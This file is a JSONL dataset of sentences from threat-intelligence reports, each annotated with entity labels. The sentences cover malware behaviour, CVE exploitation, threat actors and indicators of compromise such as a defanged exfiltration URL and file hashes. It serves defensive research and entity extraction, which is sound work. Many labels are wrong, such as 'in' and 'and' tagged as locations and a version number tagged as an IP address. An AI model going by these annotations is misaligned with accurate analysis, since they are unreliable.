{"id":396,"text":" In order to confirm the assumption that the above activity is related to CVE-2022-26134, we looked into the Confluence Apache access logs (atlassian-confluence.log) and found the PowerShell execution.  The Cortex Managed Threat Hunting team continues to track any attempts to exploit CVE-2022-26134 across our customers, using Cortex XDR and the XQL queries below.","entities":[{"id":44737,"label":"vulnerability","start_offset":74,"end_offset":88},{"id":44738,"label":"vulnerability","start_offset":285,"end_offset":299},{"id":44739,"label":"SOFTWARE","start_offset":207,"end_offset":214},{"id":44740,"label":"SOFTWARE","start_offset":328,"end_offset":338},{"id":44741,"label":"SOFTWARE","start_offset":109,"end_offset":119},{"id":44742,"label":"SOFTWARE","start_offset":120,"end_offset":126},{"id":44743,"label":"tools","start_offset":180,"end_offset":190},{"id":44744,"label":"FILEPATH","start_offset":140,"end_offset":164},{"id":44745,"label":"tools","start_offset":347,"end_offset":350}],"relations":[],"Comments":[]}
{"id":13915,"text":"Based on the group\u2019s Tor leak sites, DarkSide determines whether to pursue targeting a potential victim organization by primarily looking at that organization\u2019s financial records.","entities":[{"id":48738,"label":"malware","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]}
{"id":14216,"text":"The system also imports all related DLL files and includes the payload \u201cloadoerf.ini\u201d.","entities":[{"id":48241,"label":"FILEPATH","start_offset":70,"end_offset":85}],"relations":[],"Comments":[]}
{"id":1218,"text":"Users have no idea if an SMS was blocked or if it was delivered.","entities":[],"relations":[],"Comments":[]}
{"id":181,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":2947,"text":"Cryptocurrency-focused threats is a key area that all defenders should focus their intelligence and prevention efforts around in 2018.","entities":[],"relations":[],"Comments":[]}
{"id":5020,"text":"Malware samples:","entities":[],"relations":[],"Comments":[]}
{"id":5389,"text":"Since June 2019, the actor has issued more than 50 SSL certificates that were used on WatchGuard C&Cs on various TCP ports (as far as we are aware, the following TCP ports were used: 636, 989, 990, 994, 995, 3269, and 8443).","entities":[{"id":51384,"label":"TIME","start_offset":6,"end_offset":15}],"relations":[],"Comments":[]}
{"id":4527,"text":"Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.","entities":[{"id":50323,"label":"attack-pattern","start_offset":59,"end_offset":95},{"id":50322,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":1574,"text":" Bad Rabbit is similar to Petya\/NotPetya insofar as it encrypts the entire disk.","entities":[{"id":4702,"label":"malware","start_offset":1,"end_offset":11},{"id":4703,"label":"malware","start_offset":26,"end_offset":31},{"id":4704,"label":"malware","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]}
{"id":3069,"text":"The app integrates a mobile antivirus engine provided by Bitdefender and if users upgrade to the premium version, it will scan apps and the device\u2019s SD card with that engine.","entities":[],"relations":[],"Comments":[]}
{"id":2160,"text":"Therefore, the contents are unknown.","entities":[],"relations":[],"Comments":[]}
{"id":4446,"text":" The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google\u2019s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google\u2019s efforts to protect users from commercial spyware.","entities":[{"id":50220,"label":"identity","start_offset":46,"end_offset":79},{"id":50223,"label":"identity","start_offset":173,"end_offset":188},{"id":50221,"label":"identity","start_offset":83,"end_offset":153},{"id":50222,"label":"TIME","start_offset":157,"end_offset":170},{"id":50224,"label":"identity","start_offset":324,"end_offset":331}],"relations":[],"Comments":[]}
{"id":3668,"text":"After this, the Carbanak backdoor can then be used to log keystrokes and capture screenshots, steal and delete cookies, inject malicious code on sites, and monitor various traffic.","entities":[{"id":49452,"label":"malware","start_offset":16,"end_offset":33},{"id":49453,"label":"attack-pattern","start_offset":54,"end_offset":68},{"id":49456,"label":"attack-pattern","start_offset":120,"end_offset":150},{"id":49457,"label":"attack-pattern","start_offset":156,"end_offset":179},{"id":49455,"label":"attack-pattern","start_offset":94,"end_offset":118},{"id":49454,"label":"attack-pattern","start_offset":73,"end_offset":92}],"relations":[{"id":797,"from_id":49452,"to_id":49453,"type":"uses"},{"id":798,"from_id":49452,"to_id":49454,"type":"uses"},{"id":799,"from_id":49452,"to_id":49455,"type":"uses"},{"id":800,"from_id":49452,"to_id":49456,"type":"uses"},{"id":801,"from_id":49452,"to_id":49457,"type":"uses"}],"Comments":[]}
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{"id":4150,"text":"It provides the capability to transport data over HTTP (secured via Secure Shell, aka SSH) and allows threat actors to pass through a firewall and get access to the machine behind the firewall.","entities":[],"relations":[],"Comments":[]}
{"id":5557,"text":"       How Trend Micro can help Trend Micro Security features two key mechanisms to help stop Magecart attacks:","entities":[{"id":51773,"label":"malware","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
{"id":11386,"text":"And we don\u2019t just plug security holes \u2013 we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.","entities":[{"id":34762,"label":"location","start_offset":0,"end_offset":3},{"id":34763,"label":"identity","start_offset":13,"end_offset":17},{"id":34764,"label":"location","start_offset":23,"end_offset":31},{"id":34765,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
{"id":3644,"text":"Whether you\u2019re on the board of directors for an organization, a CEO\/CFO\/CSO, entrusted with important military or political information, are a journalist, or an activist\/dissident, this is a kind of attack that you could face.","entities":[],"relations":[],"Comments":[]}
{"id":3632,"text":"Where a phishing attack campaign may send malicious emails out to thousands or tens of thousands of targets, a spear phishing campaign my send out just one malicious email to one target.","entities":[{"id":49414,"label":"attack-pattern","start_offset":8,"end_offset":23},{"id":49415,"label":"attack-pattern","start_offset":111,"end_offset":125}],"relations":[],"Comments":[]}
{"id":10824,"text":"    Each of the messages trigger a different behavior through the handler.","entities":[],"relations":[],"Comments":[]}
{"id":4494,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[],"relations":[],"Comments":[]}
{"id":1585,"text":" Command and Control (C2)  At this time, we have no information on command and control for Bad Rabbit.","entities":[{"id":46836,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]}
{"id":3116,"text":"Calls to Action  ","entities":[],"relations":[],"Comments":[]}
{"id":7765,"text":"The second change: The decrypted FlawedAmmyy RAT is now saved as dllhots.exe in C:\\temp\\ (it used to be saved as wsus.exe).","entities":[{"id":24083,"label":"malware","start_offset":33,"end_offset":44}],"relations":[],"Comments":[]}
{"id":6613,"text":" https:\/\/attack.mitre.org\/groups\/G0049\/  OilRig is a threat group Unit 42 named and discovered in May 2016.","entities":[{"id":20492,"label":"malware","start_offset":41,"end_offset":47},{"id":20494,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
{"id":512,"text":"Among all, 6.7% of the ransomware samples are Virlock, which has been active since 2014.","entities":[{"id":46143,"label":"malware","start_offset":46,"end_offset":53},{"id":46144,"label":"TIME","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
{"id":5469,"text":"While Patchwork may be more straightforward with its predominantly malware-based attacks, Confucius\u2019 can be inferred to be more nuanced, relying heavily on social engineering.","entities":[{"id":51455,"label":"threat-actor","start_offset":90,"end_offset":99},{"id":51456,"label":"attack-pattern","start_offset":156,"end_offset":174},{"id":51457,"label":"attack-pattern","start_offset":67,"end_offset":88},{"id":51454,"label":"threat-actor","start_offset":6,"end_offset":15}],"relations":[{"id":1097,"from_id":51454,"to_id":51457,"type":"uses"},{"id":1098,"from_id":51455,"to_id":51456,"type":"uses"}],"Comments":[]}
{"id":13660,"text":"     Figure 1. Water Nue attack scenario       Figure 2. Sample of recorded credentials     ","entities":[],"relations":[],"Comments":[]}
{"id":1490,"text":" Table 2  Digital certificates are a critical component of the security of Android apps.","entities":[{"id":46778,"label":"SOFTWARE","start_offset":75,"end_offset":82}],"relations":[],"Comments":[]}
{"id":4239,"text":"It then sends them via a POST HTTP request to windefendr[.]com\/description.php.","entities":[{"id":50044,"label":"URL","start_offset":46,"end_offset":78}],"relations":[],"Comments":[]}
{"id":7780,"text":" Figure 23.","entities":[],"relations":[],"Comments":[]}
{"id":5271,"text":"An in-depth technical analysis of AnubisSpy, along with indicators of compromise, is in this technical brief.","entities":[{"id":51311,"label":"malware","start_offset":34,"end_offset":43}],"relations":[],"Comments":[]}
{"id":2941,"text":" From a threat point of view, there are two things that are notable.","entities":[],"relations":[],"Comments":[]}
{"id":9199,"text":"The company's meatpacking facilities across the US have also experienced some level of disruptions to operations, said an official with the United Food and Commercial Workers International Union.","entities":[],"relations":[],"Comments":[]}
{"id":2352,"text":"Elevating Privileges to Root The Mach-O was calling a lot of undocumented functions as well as XPC calls to mach_msg with a MACH_SEND_SYNC_OVERRIDE flag.","entities":[],"relations":[],"Comments":[]}
{"id":1610,"text":"M\u00e1ximo 10 sms\/semana.","entities":[],"relations":[],"Comments":[]}
{"id":4177,"text":"Looking deeper into the new methods the group uses, we found that it has an arsenal of tools capable of assessing and then compromising its targets while remaining under the radar.","entities":[],"relations":[],"Comments":[]}
{"id":1195,"text":" Installing an Android app with SMS-based IAP is almost equivalent to installing an \u201cSMS manager\u201d (or even a \u201ccontacts manager\u201d) app on the phone.","entities":[{"id":46586,"label":"SOFTWARE","start_offset":15,"end_offset":22}],"relations":[],"Comments":[]}
{"id":14085,"text":"The output of those commands is exfiltrated back to the agfSpy command and control (C2) server.","entities":[{"id":48166,"label":"Infrastucture","start_offset":63,"end_offset":94},{"id":43583,"label":"malware","start_offset":56,"end_offset":62}],"relations":[],"Comments":[]}
{"id":4448,"text":" Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.","entities":[{"id":50225,"label":"identity","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]}
{"id":4874,"text":"Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.","entities":[{"id":50881,"label":"attack-pattern","start_offset":142,"end_offset":161},{"id":50879,"label":"identity","start_offset":0,"end_offset":11},{"id":50880,"label":"identity","start_offset":42,"end_offset":49}],"relations":[{"id":1030,"from_id":50880,"to_id":50879,"type":"duplicate-of"}],"Comments":[]}
{"id":5206,"text":"Connext DDS, ROS 2 >= 6.1.0 2.011 84.17 CVE-2021-43547 CoreDX DDS, ROS 2 > 5.9.1 32.82 18.14  Table 3.","entities":[{"id":51254,"label":"vulnerability","start_offset":40,"end_offset":54}],"relations":[],"Comments":[]}
{"id":12264,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":38045,"label":"malware","start_offset":80,"end_offset":87},{"id":38046,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
{"id":7556,"text":"As previously mentioned, TA505, first named by Proofpoint, is known for targeting financial enterprises.","entities":[],"relations":[],"Comments":[]}
{"id":3976,"text":"One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.","entities":[],"relations":[],"Comments":[]}
{"id":5418,"text":"Looking into the malware and the infrastructure being used by Cyclops Blinks actors gives us some clues about the other vendors that might be affected and how widespread this malware is.","entities":[{"id":51425,"label":"malware","start_offset":62,"end_offset":76}],"relations":[],"Comments":[]}
{"id":4586,"text":"In the following days of the attack, Trend Micro reported that at least 30,000 organizations were thought to have been attacked in the US, and 63,000 servers remained exposed to these exploits.","entities":[{"id":50443,"label":"location","start_offset":135,"end_offset":137},{"id":50442,"label":"identity","start_offset":37,"end_offset":48}],"relations":[],"Comments":[]}
{"id":717,"text":"Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.","entities":[],"relations":[],"Comments":[]}
{"id":13894,"text":" Lateral movement and privilege escalation Lateral movement is a key discovery phase in the modern ransomware process.","entities":[{"id":43077,"label":"location","start_offset":18,"end_offset":21},{"id":43078,"label":"attack-pattern","start_offset":22,"end_offset":42}],"relations":[],"Comments":[]}
{"id":215,"text":" Concurrent with the discovery of wiper malware, we also witnessed a second round of website defacements on Feb. 23.","entities":[{"id":45910,"label":"TIME","start_offset":108,"end_offset":115},{"id":45911,"label":"attack-pattern","start_offset":85,"end_offset":104}],"relations":[],"Comments":[]}
{"id":10270,"text":"          Figures 7-8.","entities":[],"relations":[],"Comments":[]}
{"id":458,"text":"Attackers developed DGAs so that malware can quickly generate a list of domains that it can use for the sites that give it instructions and receive information from the malware (usually referred to as \u201ccommand and control\u201d or C2).","entities":[],"relations":[],"Comments":[]}
{"id":5193,"text":"Heap-based buffer overflow T0862: Supply Chain Compromise T0839: Module Firmware T0873: Project File Infection","entities":[{"id":51244,"label":"attack-pattern","start_offset":88,"end_offset":110},{"id":15977,"label":"attack-pattern","start_offset":11,"end_offset":26},{"id":15978,"label":"attack-pattern","start_offset":34,"end_offset":57}],"relations":[],"Comments":[]}
{"id":4015,"text":"Earth Centaur, previously known as Tropic Trooper, is a long-running cyberespionage threat group that has been active since 2011.","entities":[{"id":49866,"label":"TIME","start_offset":118,"end_offset":128},{"id":49865,"label":"threat-actor","start_offset":35,"end_offset":49},{"id":49864,"label":"threat-actor","start_offset":0,"end_offset":13}],"relations":[{"id":883,"from_id":49864,"to_id":49865,"type":"duplicate-of"}],"Comments":[]}
{"id":1377,"text":"The following patterns of activities are associated with this payload:  1. File InstallUtil.exe is copied to the host\u2019s %TEMP% directory, e.g. C:\\Users\\[USERNAME]\\AppData\\Local\\Temp.","entities":[{"id":44981,"label":"FILEPATH","start_offset":80,"end_offset":95},{"id":44983,"label":"FILEPATH","start_offset":120,"end_offset":126},{"id":44982,"label":"FILEPATH","start_offset":143,"end_offset":181}],"relations":[],"Comments":[]}
{"id":2767,"text":"Web servers are great resources for attackers.","entities":[],"relations":[],"Comments":[]}
{"id":5963,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":18333,"label":"location","start_offset":97,"end_offset":100},{"id":18334,"label":"location","start_offset":106,"end_offset":110},{"id":18335,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":18336,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
{"id":9514,"text":"This suggests that a common framework was used to compile both DLLs.","entities":[],"relations":[],"Comments":[]}
{"id":1963,"text":" The patch addressing CVE-2014-6321 fixed many areas within schannel.dll, including at least two vulnerabilities related to the handling of the Datagram Transport Layer Security (DTLS) protocol.","entities":[{"id":47086,"label":"vulnerability","start_offset":22,"end_offset":35},{"id":47087,"label":"FILEPATH","start_offset":60,"end_offset":72}],"relations":[],"Comments":[]}
{"id":2652,"text":"The threat actors also expressed interest in other access methods such as RDP, VPN and corporate email credentials.","entities":[{"id":47841,"label":"SOFTWARE","start_offset":74,"end_offset":77},{"id":47842,"label":"SOFTWARE","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":1975,"text":" Figure 3: A crafted packet sending mismatched size and content  Related code is found in the DTLSCookieManager::ValidateCookie function:  As shown above, although the server checks the \u201cCookieSize\u201d field, the compared length is always *(_DWORD *)(mgr + 16)), whose value is 0x20; however, the real cookie buffer length could be less than 0x20.","entities":[],"relations":[],"Comments":[]}
{"id":5894,"text":"These are the things that I think countries across the globe need to understand, especially here in Western countries, and especially NATO countries, understanding that they need to be shoring up, and almost like DHS says in their program, Shields Up, is really focused on being proactive and protecting those critical sectors.","entities":[{"id":18120,"label":"location","start_offset":6,"end_offset":9},{"id":18121,"label":"malware","start_offset":55,"end_offset":60},{"id":18122,"label":"location","start_offset":100,"end_offset":107},{"id":18123,"label":"location","start_offset":119,"end_offset":122},{"id":18125,"label":"location","start_offset":197,"end_offset":200},{"id":18128,"label":"location","start_offset":289,"end_offset":292}],"relations":[],"Comments":[]}
{"id":5022,"text":"Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.","entities":[{"id":51087,"label":"identity","start_offset":15,"end_offset":18},{"id":51086,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":51088,"label":"identity","start_offset":33,"end_offset":43},{"id":51089,"label":"location","start_offset":84,"end_offset":91}],"relations":[{"id":1038,"from_id":51086,"to_id":51088,"type":"attributed-to"},{"id":1039,"from_id":51086,"to_id":51089,"type":"targets"}],"Comments":[]}
{"id":4159,"text":"Identifying Features in the Earth Centaur Campaign","entities":[{"id":49967,"label":"campaign","start_offset":28,"end_offset":50}],"relations":[],"Comments":[]}
{"id":10315,"text":"IMAP RAT  Trojan.MSIL.OCEANMAP.A  Troj.Win32.TRX.XXPE50FFF039  6fb2facdb906fc647ab96135ce2ca7434476fb4f87c097b83fd1dd4e045d4e47  email.exe  ","entities":[{"id":31458,"label":"SHA2","start_offset":63,"end_offset":127}],"relations":[],"Comments":[]}
{"id":7693,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":13229,"text":"Read our technical brief, which discusses in full our analyses of Tropic Trooper\u2019s recent activities, the USBferry malware, and IoCs.","entities":[{"id":41255,"label":"malware","start_offset":106,"end_offset":114},{"id":41256,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
{"id":11980,"text":"We terminated 5 blogs as part of our investigation into coordinated influence operations linked to Morocco.","entities":[],"relations":[],"Comments":[]}
{"id":9858,"text":"Included in all the malware routines, we also found TICK using publicly available remote access trojans (RATs) and ope n source tools, and either modified or imported the techniques into their malware.","entities":[{"id":30033,"label":"threat-actor","start_offset":52,"end_offset":56},{"id":30034,"label":"location","start_offset":82,"end_offset":88},{"id":30035,"label":"location","start_offset":111,"end_offset":114},{"id":30036,"label":"attack-pattern","start_offset":121,"end_offset":127},{"id":30037,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
{"id":13022,"text":"We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]}
{"id":7176,"text":"This was possibly part of their reconnaissance strategy, to find the right targets for their exploit.","entities":[],"relations":[],"Comments":[]}
{"id":11698,"text":"We also identified multiple Android APK files on their server.","entities":[],"relations":[],"Comments":[]}
{"id":5355,"text":"In fact, this is what they have done with WatchGuard \u2014 it\u2019s the same code, but it has been recompiled for the brand.  First, the module examines the content \/proc\/mtd file, which provides general information about the devices\u2019 Memory Technology Device (MTD) subsystem.","entities":[{"id":51362,"label":"SOFTWARE","start_offset":42,"end_offset":52},{"id":51363,"label":"FILEPATH","start_offset":157,"end_offset":166}],"relations":[],"Comments":[]}
{"id":3273,"text":"A summary of commands is listed in Table 2, while additional details of some commands are explained in the following section.","entities":[],"relations":[],"Comments":[]}
{"id":5899,"text":"Ed, this has been a great discussion.","entities":[],"relations":[],"Comments":[]}
{"id":3230,"text":"This is a Python-based backdoor that is distributed in plain text or compiled with Nuitka or PyArmor and PyInstaller.","entities":[{"id":48351,"label":"SOFTWARE","start_offset":83,"end_offset":89},{"id":48352,"label":"SOFTWARE","start_offset":93,"end_offset":100},{"id":48353,"label":"SOFTWARE","start_offset":105,"end_offset":116},{"id":48354,"label":"SOFTWARE","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
{"id":3419,"text":"Win64.BIOPASS.A","entities":[{"id":49108,"label":"malware","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]}
{"id":958,"text":"Apps that use earlier versions of the library appear to be safe.","entities":[],"relations":[],"Comments":[]}
{"id":8722,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":26954,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
{"id":14312,"text":"After that, it fetches .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files from the following directories: C:\/Users\/%username%\/Desktop, C:\/Users\/%username%\/Pictures, C:\/Users\/%username%\/Documents, and C:\/Users\/%username%\/Downloads.","entities":[{"id":48534,"label":"FILEPATH","start_offset":120,"end_offset":177},{"id":48535,"label":"FILEPATH","start_offset":179,"end_offset":243}],"relations":[],"Comments":[]}
{"id":13655,"text":"The campaign is ongoing, with the threat actor switching to new infrastructures when used domain names get reported or blacklisted in systems.","entities":[],"relations":[],"Comments":[]}
{"id":1206,"text":"The reason they are not marked as malware is because all SDKs require user interaction when making a purchase (e.g. user clicks on the agreement).  However, these IAP SDKs are very dangerous to users because of what they are doing with a user\u2019s SMS without his or her knowledge.","entities":[],"relations":[],"Comments":[]}
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{"id":11650,"text":"Analysis of the malicious document","entities":[],"relations":[],"Comments":[]}
{"id":2128,"text":"The vulnerability was disclosed on August 22 in conjunction with security updates that address it.","entities":[{"id":47267,"label":"TIME","start_offset":35,"end_offset":44}],"relations":[],"Comments":[]}
{"id":2848,"text":"These reports indicate that in addition to the internal lateral movement already outlined, the WanaCrypt0r ransomware will scan for port 445 on random external IP addresses and if it finds an IP address with an open port 445, it will then scan all devices on the same \/24 IP range (i.e. that share the first three octets as that IP address with the open port 445).  In general, WanaCrypt0r does not have C2 capabilities but it does utilize the TOR network to communicate encryption keys for decryption upon payment of ransom.","entities":[{"id":48051,"label":"malware","start_offset":95,"end_offset":106},{"id":48053,"label":"tools","start_offset":444,"end_offset":447},{"id":48052,"label":"malware","start_offset":378,"end_offset":389}],"relations":[],"Comments":[]}
{"id":2097,"text":"Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":45261,"label":"identity","start_offset":115,"end_offset":136},{"id":45260,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":10598,"text":"The attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.","entities":[{"id":32323,"label":"tools","start_offset":11,"end_offset":17},{"id":32325,"label":"location","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]}
{"id":8082,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]}
{"id":11887,"text":"Examples of related Office documents uploaded to VirusTotal: https:\/\/www.virustotal.com\/gui\/file\/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67\/detection https:\/\/www.virustotal.com\/gui\/file\/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb\/detection","entities":[{"id":36637,"label":"URL","start_offset":61,"end_offset":171},{"id":36638,"label":"SHA1","start_offset":172,"end_offset":282}],"relations":[],"Comments":[]}
{"id":4500,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[],"relations":[],"Comments":[]}
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{"id":3130,"text":"You can also stay safe by changing the password on your router and updating the software.","entities":[],"relations":[],"Comments":[]}
{"id":9853,"text":"The backdoor is usually hidden in the steganography photo and uses several techniques and tools to bypass AV detection.","entities":[{"id":30026,"label":"tools","start_offset":52,"end_offset":57},{"id":30027,"label":"location","start_offset":58,"end_offset":61},{"id":30028,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
{"id":7962,"text":"For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.","entities":[{"id":24674,"label":"location","start_offset":171,"end_offset":174},{"id":24676,"label":"IPV4","start_offset":198,"end_offset":206}],"relations":[],"Comments":[]}
{"id":670,"text":"The pop-up is one of several security mechanisms added by Microsoft to mitigate the security risk that macros pose.","entities":[{"id":46246,"label":"identity","start_offset":58,"end_offset":67}],"relations":[],"Comments":[]}
{"id":6544,"text":"Who is the Winnti group?","entities":[],"relations":[],"Comments":[]}
{"id":8997,"text":"We also found some links to Earth Berberoka.","entities":[],"relations":[],"Comments":[]}
{"id":14359,"text":"Relationship between variants and C&C servers used by Maikspy","entities":[{"id":51788,"label":"malware","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
{"id":13286,"text":"  Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":9729,"text":"MuddyWater is a well-known threat actor group that has been active since 2017.","entities":[],"relations":[],"Comments":[]}
{"id":9582,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
{"id":3471,"text":"The encrypted strings will pose as a magnet link to keep its malicious traffic from being detected by AV software.","entities":[],"relations":[],"Comments":[]}
{"id":4411,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]}
{"id":3571,"text":"This build command line has a function to update the final binary versions based on the last Git-tagged version.","entities":[],"relations":[],"Comments":[]}
{"id":4805,"text":"This is the first known instance of Turla distributing Android-related malware.","entities":[{"id":50720,"label":"threat-actor","start_offset":36,"end_offset":41},{"id":50721,"label":"SOFTWARE","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
{"id":7337,"text":"Timestomp  The backdoor modifies the date and time of the dropped files using the \u201ctouch\u201d command  Discovery  T1082  System Information Discovery  The backdoor collects various information to send to the C&C server  Collection  T1560.003  Archive Collected Data: Archive via Custom Method  The backdoor encrypts the data before exfiltration  Command and Control  T1095  Non-Application Layer Protocol","entities":[{"id":22832,"label":"attack-pattern","start_offset":0,"end_offset":9},{"id":22833,"label":"location","start_offset":37,"end_offset":41},{"id":22834,"label":"location","start_offset":42,"end_offset":45},{"id":22835,"label":"location","start_offset":46,"end_offset":50},{"id":22836,"label":"attack-pattern","start_offset":117,"end_offset":145},{"id":22837,"label":"location","start_offset":350,"end_offset":353}],"relations":[],"Comments":[]}
{"id":12534,"text":"We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.","entities":[{"id":39009,"label":"location","start_offset":11,"end_offset":17},{"id":39010,"label":"location","start_offset":51,"end_offset":55},{"id":39011,"label":"identity","start_offset":57,"end_offset":61},{"id":39012,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
{"id":5104,"text":"We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":51207,"label":"SOFTWARE","start_offset":26,"end_offset":45}],"relations":[],"Comments":[]}
{"id":5655,"text":"It was last updated on May 12, 2022.","entities":[],"relations":[],"Comments":[]}
{"id":4979,"text":"We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.","entities":[{"id":51036,"label":"TIME","start_offset":150,"end_offset":163},{"id":51034,"label":"malware","start_offset":94,"end_offset":102},{"id":51035,"label":"identity","start_offset":136,"end_offset":146},{"id":15307,"label":"malware","start_offset":41,"end_offset":46}],"relations":[{"id":1034,"from_id":15307,"to_id":51034,"type":"drops"}],"Comments":[]}
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{"id":10841,"text":"The handler for this message collects data from the victim\u2019s device.","entities":[],"relations":[],"Comments":[]}
{"id":3488,"text":"This can also be used by researchers, system administrators, and information security professionals when decrypting Protux\u2019s latest version.","entities":[{"id":49292,"label":"malware","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]}
{"id":2933,"text":" Second, this is a very large campaign.","entities":[],"relations":[],"Comments":[]}
{"id":19,"text":"One list shows the new campaign, which continues to progress.","entities":[],"relations":[],"Comments":[]}
{"id":9409,"text":"Collection Screen Capture T1513 Used to take screenshot on the device Exfiltration Standard Application Layer Protocol T1437 Used Standard HTTP Protocol Command and Control Uncommonly Used Port T1509 Used uncommon ports 2000, 3000","entities":[{"id":28960,"label":"attack-pattern","start_offset":11,"end_offset":25},{"id":28961,"label":"attack-pattern","start_offset":83,"end_offset":118},{"id":28962,"label":"location","start_offset":130,"end_offset":138},{"id":28963,"label":"location","start_offset":161,"end_offset":164},{"id":28964,"label":"attack-pattern","start_offset":173,"end_offset":193},{"id":28965,"label":"location","start_offset":220,"end_offset":224},{"id":28966,"label":"location","start_offset":226,"end_offset":230}],"relations":[],"Comments":[]}
{"id":7478,"text":"Infection chain for the attack","entities":[],"relations":[],"Comments":[]}
{"id":9028,"text":"These documents contain topics discussing either software development or digital currencies.","entities":[],"relations":[],"Comments":[]}
{"id":10257,"text":"We have: c4a61b581890f575ba0586cf6d7d7d3e0c7603ca40915833d6746326685282b7","entities":[{"id":31352,"label":"SHA2","start_offset":9,"end_offset":73}],"relations":[],"Comments":[]}
{"id":7448,"text":"           Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":10394,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":4961,"text":"When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they\u2019ll see a warning page explaining that the content they\u2019re trying to access may be harmful.","entities":[{"id":50983,"label":"SOFTWARE","start_offset":17,"end_offset":30}],"relations":[],"Comments":[]}
{"id":6552,"text":"The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor.","entities":[{"id":20310,"label":"location","start_offset":129,"end_offset":134},{"id":20311,"label":"attack-pattern","start_offset":135,"end_offset":143},{"id":20312,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
{"id":5287,"text":"  The Sandworm APT group has been attributed as creating both Cyclops Blink and the VPNFilter internet of things (IoT) botnet.","entities":[{"id":51338,"label":"threat-actor","start_offset":6,"end_offset":14},{"id":51339,"label":"malware","start_offset":62,"end_offset":75},{"id":51340,"label":"malware","start_offset":84,"end_offset":93}],"relations":[{"id":1083,"from_id":51340,"to_id":51338,"type":"attributed-to"},{"id":1082,"from_id":51339,"to_id":51338,"type":"attributed-to"}],"Comments":[]}
{"id":3758,"text":"This would mean infected machines could then be directed to further perform scanning and exploitation activity, in addition to directly executing shell commands received from the command and control (C2) server on the target machine.","entities":[],"relations":[],"Comments":[]}
